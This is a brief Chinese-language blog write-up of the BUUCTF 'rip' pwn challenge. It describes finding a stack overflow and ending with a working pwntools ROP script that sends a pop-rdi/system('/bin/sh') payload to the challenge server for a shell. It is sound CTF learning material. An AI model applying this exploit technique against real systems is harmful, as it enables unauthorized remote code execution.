BUUCTF—rip

先来看看开了什么保护机制

再去64位ida看看

发现有两个洞,第一个是栈溢出,第二个是格式化字符串泄露
然后去找找看有没有system和binsh


两个都有,那么我们只需要利用栈溢出的洞就可以了
我们去ROPgadget找到pop rdi

找到后就可以去构造脚本了

from pwn import*
p=remote('node4.buuoj.cn',28826)
#p=process('./rip')
#gdb.attach(p)
pop_rdi=0x4011fb
ret=0x401016
binsh=0x40201b
system=0x401040
#p.recvuntil('input')
payload=b'a'*(0xf+0x8)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)#这个ret是为了栈平衡
p.sendline(payload)
p.interactive()
posted @ 2022-09-29 11:10  予柒  阅读(317)  评论(0)    收藏  举报
返回顶端
Live2D /*修改地一:waifu.css*/
/*修改地二:waifu.css*/
/*修改地三:live2d.js*/ /*修改地四:waifu-tips.js*/